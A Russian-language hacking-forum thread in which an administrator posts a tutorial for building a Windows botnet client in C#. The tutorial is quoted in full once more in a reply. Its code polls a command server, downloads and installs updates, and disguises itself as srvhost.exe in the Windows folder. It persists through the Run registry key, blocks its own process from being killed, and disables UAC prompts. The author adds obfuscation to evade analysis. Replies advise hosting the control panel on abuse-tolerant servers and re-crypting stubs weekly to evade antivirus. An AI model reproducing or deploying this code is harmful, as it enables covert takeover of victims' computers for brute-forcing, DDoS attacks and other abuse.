Статья Создаем свой ботнет

SooLFaa

SooLFaa

Администратор
15.07.2016
858
1 419
Часть 1
Часть 2 находится тут

Добрый вечер господа. Сегодня я хотел бы поговорить не о взломе в чистом виде. Я думаю пришло время нам с Вами создать собственный БОТНЕТ. Эта тема, является не новой, но я бы хотел обратить внимание на то как именно начать создавать ботнет. Я уже являюсь ботоделом. И вот так выглядит, то что уже написано.

upload_2016-12-19_1-16-35.png


Ну что, пожалуй сразу к делу?

Ботнет будем строить на языке C# - так как этот лучший выбор для НЕБОЛЬШИХ Ботнетов (максимум 100к онлайн машин). Это связано с одним ограничением, что для работы бота у жертвы должен быт установлен .Net Framework – сегодня в эпоху Windows 10, это уже не является большой проблемой, однако знать об этом стоит.

Теперь же поговорим о главном, а именно о том, с чего начинают новички и как НЕ НАДО начинать. (По разрушаем некоторые мифы)

Миф 1: Крутой ботнет должен содержать много всяких плюшек (DDOS, лайки в вк, вызов калькулятора =)).

Опровергаем: Хороший ботнет это тот, который не падает и справляется со своей задачей. Поэтому, как и любой продукт сначала необходимо писать МИНИМАЛЬНО - НЕОБХОДИМЫЙ функционал, так как программиста очень тяжело остановить и ему хочется писать всё больше и больше кода. Это неправильно. Написать необходимо сначала каркас и возможность расширения функционала. Этим путем пойдем и мы. Ботнет должен работать сразу и писаться максимум за два – три дня.

Миф 2: Ботнет обязательно для DDOS – атак.

Опровергаем: Это тоже не верное суждение. Да, ботнеты обычно используются для DDOS атак и мы рассмотрим типы DDOS атак и даже напишем свои модули, но не это главное. Лично я использую ботнет для распределенного быстрого подбора хеш функций, брута сервисов и т.п. Так как согласитесь, на сколько бы быстрый не был бы Ваш процессор, 100 000 машин сбрутят быстрее чем 1 машина. И это лишь немногое, как его можно использовать

Миф 3: Написать ботнет – сложно и требует клоссальных знаний программирования и сетевых технологий.

Опровергаем: Отчасти это так, но на самом деле не нужно быть выдающимся программистом с великим стажем. Хватит понимания общих сетевых протоколов (такие HTTP), немного знаний криптографии (SSL), и уровень программирования хотя бы на понимание ООП.

Итак, что же такое ботнет? Это несколько машин, объединённых одним командным центром, для скрытой эксплуатации ресурсов выгодных владельцу ботнета.

Пожалуй, хватит разговоров, пора к делу:

Требования к сегодняшнему релизу:
1) Создать билд который по указанному пути будет брать команду для ботов
2) Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
3) ByPass Uac и AV
4) Запретить завершение процесса.
5) Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.
6) Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.

Понеслась….

Создаем новый консольный проект.

upload_2016-12-19_1-21-25.png


Далее меняем в настройках проекта на приложение для Windows (Лайвхак, чтобы создать пустое приложение без поддержки телеметрии).

upload_2016-12-19_1-21-43.png


А вот теперь переходим в вопросы архитектуры.

Создаем папку Services в которой будет хранится наша бизнес логика и при добавлении новых возможностей в эту папку будем добавлять папки с новыми сервисами и классами. Начнем с первого пункта ТЗ. Создаим сервис «FileManager», который будет читать команду по ссылке, а также интерфейс.

upload_2016-12-19_1-22-24.png


Далее код, для начала создадим заглушку на командном сервере (index.php).
PHP:
<?php
echo 'update';
Вспоминаем наше ТЗ
Создать билд, который по указанному пути будет брать команду для ботов
Для этого в наш сервис добавляем следующий код
Код:
public class FileManager : IFileManager
    {
        public string GetCommandByUrl(string url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            return new StreamReader(response.GetResponseStream()).ReadToEnd();
        }

  }
А в программу добавим
Код:
private static string _url = @"URL/index.php"; (тут наша заглушка пока)
     private const int interval = 10000; // 1000 seconds ~ 16 minutes
            while (true)
            {
                Thread.Sleep(interval);
                var command = _fileService.GetCommandByUrl(_url);

                if (command.Equals("update"))
                {
                    WebClient myWebClient = new WebClient();
                    myWebClient.DownloadFile(_url, "update.exe");
                    _fileService.RemoveFile();
                    _fileService.CopyFile("update.exe");
                }
          }
Профит:
upload_2016-12-19_1-24-57.png


Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
Создаем в FileManager новый метод
Код:
public void CopyFile(string fileName = "")
        {
            if (String.IsNullOrEmpty(fileName))
            {
                fileName = Assembly.GetExecutingAssembly().Location;
                return;
            }

            File.Copy(fileName, @"C:\Windows\srvhost.exe");
        }
void CopyFile(string fileName = @"C:\Windows\srvhost.exe");
Добавляем в Program.cs
Код:
   public static void Main(string[] args)
        {
            IFileManager _fileService = new FileManager();
            _fileService.CopyFile();
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            rkApp.SetValue("MyApp", @"C:\Windows\srvhost.exe");
Запретить завершение процесса;
Здесь тоже всё достаточно просто новый сервис и добавляем в Program proc.block
Глянем в ProcessManager
Код:
  public class ProcessManager
    {
        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor,
uint nLength, out uint lpnLengthNeeded);

        public static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] psd = new byte[0];
            uint bufSizeNeeded;
            // Call with 0 size to obtain the actual size needed in bufSizeNeeded
            GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded);
            if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
                throw new Win32Exception();
            // Allocate the required bytes and obtain the DACL
            if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION,
            psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded))
                throw new Win32Exception();
            // Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes:
            return new RawSecurityDescriptor(psd, 0);
        }

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor);

        public static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] rawsd = new byte[dacl.BinaryLength];
            dacl.GetBinaryForm(rawsd, 0);
            if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
                throw new Win32Exception();
        }

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetCurrentProcess();

        [Flags]
        public enum ProcessAccessRights
        {
            PROCESS_CREATE_PROCESS = 0x0080, //  Required to create a process.
            PROCESS_CREATE_THREAD = 0x0002, //  Required to create a thread.
            PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle.
            PROCESS_QUERY_INFORMATION = 0x0400, //  Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob).
            PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, //  Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000:  This access right is not supported.
            PROCESS_SET_INFORMATION = 0x0200, //    Required to set certain information about a process, such as its priority class (see SetPriorityClass).
            PROCESS_SET_QUOTA = 0x0100, //  Required to set memory limits using SetProcessWorkingSetSize.
            PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process.
            PROCESS_TERMINATE = 0x0001, //  Required to terminate a process using TerminateProcess.
            PROCESS_VM_OPERATION = 0x0008, //   Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).
            PROCESS_VM_READ = 0x0010, //    Required to read memory in a process using ReadProcessMemory.
            PROCESS_VM_WRITE = 0x0020, //   Required to write to memory in a process using WriteProcessMemory.
            DELETE = 0x00010000, // Required to delete the object.
            READ_CONTROL = 0x00020000, //   Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right.
            SYNCHRONIZE = 0x00100000, //    The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
            WRITE_DAC = 0x00040000, //  Required to modify the DACL in the security descriptor for the object.
            WRITE_OWNER = 0x00080000, //    Required to change the owner in the security descriptor for the object.
            STANDARD_RIGHTS_REQUIRED = 0x000f0000,
            PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),//    All possible access rights for a process object.
        }
        public void block()
        {
            // Get the current process handle
            IntPtr hProcess = GetCurrentProcess();
            // Read the DACL
            var dacl = GetProcessSecurityDescriptor(hProcess);
            // Insert the new ACE
            dacl.DiscretionaryAcl.InsertAce(
            0,
            new CommonAce(
            AceFlags.None,
            AceQualifier.AccessDenied,
            (int)ProcessAccessRights.PROCESS_ALL_ACCESS,
            new SecurityIdentifier(WellKnownSidType.WorldSid, null),
            false,
            null)
            );
            // Save the DACL
            SetProcessSecurityDescriptor(hProcess, dacl);
        }
    }
Теперь наш процесс сможет убить только опытный пользователь.

Профит: При нажатии на кнопку снять задачу получаем.

upload_2016-12-19_1-27-45.png


Для того чтобы забайпассить UAC нужно в реестре просто отключить его проверку.
Код:
var readWriteSubTree = Microsoft.Win32.RegistryKeyPermissionCheck.ReadWriteSubTree;
            Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
                , readWriteSubTree);
            key.SetValue("ConsentPromptBehaviorAdmin", 0);
Байпассить AV на этом этапе пока не нужно, так как билд чистый, сигнатуры неизвестны, антивирусы не видят.

upload_2016-12-19_1-30-34.png


Скан здесь

Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.

Код:
  if (command.Equals("update"))
                {
                    WebClient myWebClient = new WebClient();
                    myWebClient.DownloadFile(_url, "update.exe");
                    _fileService.RemoveFile();
                    _fileService.CopyFile("update.exe");
                }
Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.
Качаем .Net Reactor и ставим Protect. В дальнейших статьях рассмотрим собственные обфускаторы с помощью рефлексии.

upload_2016-12-19_1-33-56.png


Сравним обфусцированный и необфусцированный билды

Видим как билд палится без проблем

upload_2016-12-19_1-34-10.png


Вспоминаем наш метод Main, который теперь вот так выглядит в dotPeek

upload_2016-12-19_1-34-40.png


Всем спасибо. На этом всё. Посмотрим, зайдет ли кодерская статья у публики, и решим продолжать эту тему или нет. Во всяком случае в статье собраны так же инетересные техники байпасса, немного рефлексии.

 
V

VAVAN

Добрый вечер господа. Сегодня я хотел бы поговорить не о взломе в чистом виде. Я думаю пришло время нам с Вами создать собственный БОТНЕТ. Эта тема, является не новой, но я бы хотел обратить внимание на то как именно начать создавать ботнет. Я уже являюсь ботоделом. И вот так выглядит, то что уже написано.
Посмотреть вложение 8073
Ну что, пожалуй сразу к делу?

Ботнет будем строить на языке C# - так как этот лучший выбор для НЕБОЛЬШИХ Ботнетов (максимум 100к онлайн машин). Это связано с одним ограничением, что для работы бота у жертвы должен быт установлен .Net Framework – сегодня в эпоху Windows 10, это уже не является большой проблемой, однако знать об этом стоит.

Теперь же поговорим о главном, а именно о том, с чего начинают новички и как НЕ НАДО начинать. (По разрушаем некоторые мифы)

Миф 1: Крутой ботнет должен содержать много всяких плюшек (DDOS, лайки в вк, вызов калькулятора =)).

Опровергаем: Хороший ботнет это тот, который не падает и справляется со своей задачей. Поэтому, как и любой продукт сначала необходимо писать МИНИМАЛЬНО - НЕОБХОДИМЫЙ функционал, так как программиста очень тяжело остановить и ему хочется писать всё больше и больше кода. Это неправильно. Написать необходимо сначала каркас и возможность расширения функционала. Этим путем пойдем и мы. Ботнет должен работать сразу и писаться максимум за два – три дня.

Миф 2: Ботнет обязательно для DDOS – атак.

Опровергаем: Это тоже не верное суждение. Да, ботнеты обычно используются для DDOS атак и мы рассмотрим типы DDOS атак и даже напишем свои модули, но не это главное. Лично я использую ботнет для распределенного быстрого подбора хеш функций, брута сервисов и т.п. Так как согласитесь, на сколько бы быстрый не был бы Ваш процессор, 100 000 машин сбрутят быстрее чем 1 машина. И это лишь немногое, как его можно использовать

Миф 3: Написать ботнет – сложно и требует клоссальных знаний программирования и сетевых технологий.

Опровергаем: Отчасти это так, но на самом деле не нужно быть выдающимся программистом с великим стажем. Хватит понимания общих сетевых протоколов (такие HTTP), немного знаний криптографии (SSL), и уровень программирования хотя бы на понимание ООП.

Итак, что же такое ботнет? Это несколько машин, объединённых одним командным центром, для скрытой эксплуатации ресурсов выгодных владельцу ботнета.

Пожалуй, хватит разговоров, пора к делу:

Требования к сегодняшнему релизу:
1) Создать билд который по указанному пути будет брать команду для ботов
2) Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
3) ByPass Uac и AV
4) Запретить завершение процесса.
5) Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.
6) Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.

Понеслась….

Создаем новый консольный проект.
Посмотреть вложение 8074

Далее меняем в настройках проекта на приложение для Windows (Лайвхак, чтобы создать пустое приложение без поддержки телеметрии).
Посмотреть вложение 8075

А вот теперь переходим в вопросы архитектуры.

Создаем папку Services в которой будет хранится наша бизнес логика и при добавлении новых возможностей в эту папку будем добавлять папки с новыми сервисами и классами. Начнем с первого пункта ТЗ. Создаим сервис «FileManager», который будет читать команду по ссылке, а также интерфейс.

Посмотреть вложение 8076

Далее код, для начала создадим заглушку на командном сервере (index.php).
PHP:
<?php
echo 'update';
Вспоминаем наше ТЗ
Создать билд, который по указанному пути будет брать команду для ботов
Для этого в наш сервис добавляем следующий код
Код:
public class FileManager : IFileManager
    {
        public string GetCommandByUrl(string url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            return new StreamReader(response.GetResponseStream()).ReadToEnd();
        }

  }
А в программу добавим
Код:
private static string _url = @"URL/index.php"; (тут наша заглушка пока)
     private const int interval = 10000; // 1000 seconds ~ 16 minutes
            while (true)
            {
                Thread.Sleep(interval);
                var command = _fileService.GetCommandByUrl(_url);

                if (command.Equals("update"))
                {
                    WebClient myWebClient = new WebClient();
                    myWebClient.DownloadFile(_url, "update.exe");
                    _fileService.RemoveFile();
                    _fileService.CopyFile("update.exe");
                }
          }
Профит:
Посмотреть вложение 8077

Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
Создаем в FileManager новый метод

Код:
public void CopyFile(string fileName = "")
        {
            if (String.IsNullOrEmpty(fileName))
            {
                fileName = Assembly.GetExecutingAssembly().Location;
                return;
            }

            File.Copy(fileName, @"C:\Windows\srvhost.exe");
        }
void CopyFile(string fileName = @"C:\Windows\srvhost.exe");
Добавляем в Program.cs

Код:
   public static void Main(string[] args)
        {
            IFileManager _fileService = new FileManager();
            _fileService.CopyFile();
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            rkApp.SetValue("MyApp", @"C:\Windows\srvhost.exe");
Запретить завершение процесса;
Здесь тоже всё достаточно просто новый сервис и добавляем в Program proc.block
Глянем в ProcessManager
Код:
  public class ProcessManager
    {
        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor,
uint nLength, out uint lpnLengthNeeded);

        public static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] psd = new byte[0];
            uint bufSizeNeeded;
            // Call with 0 size to obtain the actual size needed in bufSizeNeeded
            GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded);
            if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
                throw new Win32Exception();
            // Allocate the required bytes and obtain the DACL
            if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION,
            psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded))
                throw new Win32Exception();
            // Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes:
            return new RawSecurityDescriptor(psd, 0);
        }

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor);

        public static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] rawsd = new byte[dacl.BinaryLength];
            dacl.GetBinaryForm(rawsd, 0);
            if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
                throw new Win32Exception();
        }

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetCurrentProcess();

        [Flags]
        public enum ProcessAccessRights
        {
            PROCESS_CREATE_PROCESS = 0x0080, //  Required to create a process.
            PROCESS_CREATE_THREAD = 0x0002, //  Required to create a thread.
            PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle.
            PROCESS_QUERY_INFORMATION = 0x0400, //  Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob).
            PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, //  Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000:  This access right is not supported.
            PROCESS_SET_INFORMATION = 0x0200, //    Required to set certain information about a process, such as its priority class (see SetPriorityClass).
            PROCESS_SET_QUOTA = 0x0100, //  Required to set memory limits using SetProcessWorkingSetSize.
            PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process.
            PROCESS_TERMINATE = 0x0001, //  Required to terminate a process using TerminateProcess.
            PROCESS_VM_OPERATION = 0x0008, //   Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).
            PROCESS_VM_READ = 0x0010, //    Required to read memory in a process using ReadProcessMemory.
            PROCESS_VM_WRITE = 0x0020, //   Required to write to memory in a process using WriteProcessMemory.
            DELETE = 0x00010000, // Required to delete the object.
            READ_CONTROL = 0x00020000, //   Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right.
            SYNCHRONIZE = 0x00100000, //    The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
            WRITE_DAC = 0x00040000, //  Required to modify the DACL in the security descriptor for the object.
            WRITE_OWNER = 0x00080000, //    Required to change the owner in the security descriptor for the object.
            STANDARD_RIGHTS_REQUIRED = 0x000f0000,
            PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),//    All possible access rights for a process object.
        }
        public void block()
        {
            // Get the current process handle
            IntPtr hProcess = GetCurrentProcess();
            // Read the DACL
            var dacl = GetProcessSecurityDescriptor(hProcess);
            // Insert the new ACE
            dacl.DiscretionaryAcl.InsertAce(
            0,
            new CommonAce(
            AceFlags.None,
            AceQualifier.AccessDenied,
            (int)ProcessAccessRights.PROCESS_ALL_ACCESS,
            new SecurityIdentifier(WellKnownSidType.WorldSid, null),
            false,
            null)
            );
            // Save the DACL
            SetProcessSecurityDescriptor(hProcess, dacl);
        }
    }
Теперь наш процесс сможет убить только опытный пользователь.
Профит: При нажатии на кнопку снять задачу получаем.
Посмотреть вложение 8078

Для того чтобы забайпассить UAC нужно в реестре просто отключить его проверку.
Код:
var readWriteSubTree = Microsoft.Win32.RegistryKeyPermissionCheck.ReadWriteSubTree;
            Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
                , readWriteSubTree);
            key.SetValue("ConsentPromptBehaviorAdmin", 0);
Байпассить AV на этом этапе пока не нужно, так как билд чистый, сигнатуры неизвестны, антивирусы не видят.
Посмотреть вложение 8079
Скан здесь


Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.

Код:
  if (command.Equals("update"))
                {
                    WebClient myWebClient = new WebClient();
                    myWebClient.DownloadFile(_url, "update.exe");
                    _fileService.RemoveFile();
                    _fileService.CopyFile("update.exe");
                }
Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.
Качаем .Net Reactor и ставим Protect. В дальнейших статьях рассмотрим собственные обфускаторы с помощью рефлексии.
Посмотреть вложение 8080
Сравним обфусцированный и необфусцированный билды

Видим как билд палится без проблем
Посмотреть вложение 8081

Вспоминаем наш метод Main, который теперь вот так выглядит в dotPeek
Посмотреть вложение 8082

Всем спасибо. На этом всё. Посмотрим, зайдет ли кодерская статья у публики, и решим продолжать эту тему или нет. Во всяком случае в статье собраны так же инетересные техники байпасса, немного рефлексии.
Давай теперь панель управления, как по мне это более интересно
 
J

JuicyBrute

при bind'e бота к какому либо исполняемому файла как себя AV поведут? Либо если например cypher'ом сверху прогнать еще?

Расскажи пожалуйста как на твой взгляд оптимальнее всего хостить ботнет? Лучше ли делать это в даркнете или локально на малинке поднять сервер и спрятаться за проксями торами и тп? Какие плюсы и минусы у тех или иных решений?
 
Последнее редактирование модератором:
  • Нравится
Реакции: in1rovert
SooLFaa

SooLFaa

Администратор
15.07.2016
858
1 419
при bind'e бота к какому либо исполняемому файла как себя AV поведут? Либо если например cypher'ом сверху прогнать еще?

Расскажи пожалуйста как на твой взгляд оптимальнее всего хостить ботнет? Лучше ли делать это в даркнете или локально на малинке поднять сервер и спрятаться за проксями торами и тп? Какие плюсы и минусы у тех или иных решений?
Локално на малинке однозначно нет. Могут быть большие проблемы если кто вдруг заинтересуется. Я снимал португальский vds сервер и хостил админку там. У них более менее без abuse и всё такое. Но соответственно цена может кусаться.

Давай теперь панель управления, как по мне это более интересно
Ну а что тут говорить? Там просто верстка в основном.
 
Последнее редактирование модератором:
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
3 027
Спасибо бро за статью:):):)
Хочу высказать свое мнение, по поводу покупки чужих ботнетов , приватного софта и тем более использование разной халявы - помните если покупаете продукт или софт - покупайте исходный код и умейте его читать.В противном случае существует большой риск, что после покупки скомпилированных программ вы, в силу своего непонимания , станете частью ботнетов да еще и денег заплатите за это) Будьте бдительными и осведомленными.
В этом и смылс написания своего софта и открытости исходного кода.
 
S

SoulPaladin

Спасибо за статью, хотелось бы отметить что продолжения очень не хватает(
 
ghostphisher

ghostphisher

гарант codeby
Gold Team
07.12.2016
2 556
3 400
Глупый вопрос - если все это мы пишем под *nix , то код как под него причесать? И прикрутить необходимые библиотеки?
 
SooLFaa

SooLFaa

Администратор
15.07.2016
858
1 419
Глупый вопрос - если все это мы пишем под *nix , то код как под него причесать? И прикрутить необходимые библиотеки?
На самом деле никак еще в начале статьи я писал что ограниче это .Net. Но можно поизвращаться с mongoDB
 
  • Нравится
Реакции: ghostphisher
ghostphisher

ghostphisher

гарант codeby
Gold Team
07.12.2016
2 556
3 400
На самом деле никак еще в начале статьи я писал что ограниче это .Net. Но можно поизвращаться с mongoDB
Думаю это будет костылятый никрофил ;) Изврат своего не будет стоить. Сколько в среднем, живет ботнет в полноценном состоянии?
 
  • Нравится
Реакции: hgfhiejmw
SooLFaa

SooLFaa

Администратор
15.07.2016
858
1 419
Думаю это будет костылятый никрофил ;) Изврат своего не будет стоить. Сколько в среднем, живет ботнет в полноценном состоянии?
Ну мой до сих пор жив, но там криптография другая. Я стабы чищу каждую неделю. А так если замечаешь, что начинают боты умирать, надо обновлять.
 
  • Нравится
Реакции: ghostphisher
J

JuicyBrute

Думаю это будет костылятый никрофил ;) Изврат своего не будет стоить. Сколько в среднем, живет ботнет в полноценном состоянии?
по моему логично писать непосредственно бота на .net при условии что потенциально зараженные юзеры в 99% это пользователи винды, а благодаря .net библиотеке мы можем работать на одном уровне с самой win :)) При этом учитывая что админку тоже где то надо хостить то и серверную часть нам ни что не мешает написать на том же .net c# :) Благо стек технологий позволяет

p.s. Пожелание к автору - реализовать в админ панели работу с ботом в консоли (терминале) что бы можно было использовать стандартные виндовые команды как например получение листинга директорий и файлов в текущей папке с ботом, сделать скрин экрана и отправить на сервер, команду на скачивание чего либо и тд в общем обычную работу в консоли только через бота, а значит в контексте зараженной тачки. Как это реализовано в botnet Ares. Только там сам бот написан на python а админка если не изменяет память на руби.
 
SooLFaa

SooLFaa

Администратор
15.07.2016
858
1 419
по моему логично писать непосредственно бота на .net при условии что потенциально зараженные юзеры в 99% это пользователи винды, а благодаря .net библиотеке мы можем работать на одном уровне с самой win :)) При этом учитывая что админку тоже где то надо хостить то и серверную часть нам ни что не мешает написать на том же .net c# :) Благо стек технологий позволяет

p.s. Пожелание к автору - реализовать в админ панели работу с ботом в консоли (терминале) что бы можно было использовать стандартные виндовые команды как например получение листинга директорий и файлов в текущей папке с ботом, сделать скрин экрана и отправить на сервер, команду на скачивание чего либо и тд в общем обычную работу в консоли только через бота, а значит в контексте зараженной тачки. Как это реализовано в botnet Ares. Только там сам бот написан на python а админка если не изменяет память на руби.
Учтем, впринципе это не сложно панелька делается.
 
V

VAVAN

Как ты смотришь на разработку бота на делфи, будут ли серьезные недостатки в таком боте?
 
Мы в соцсетях: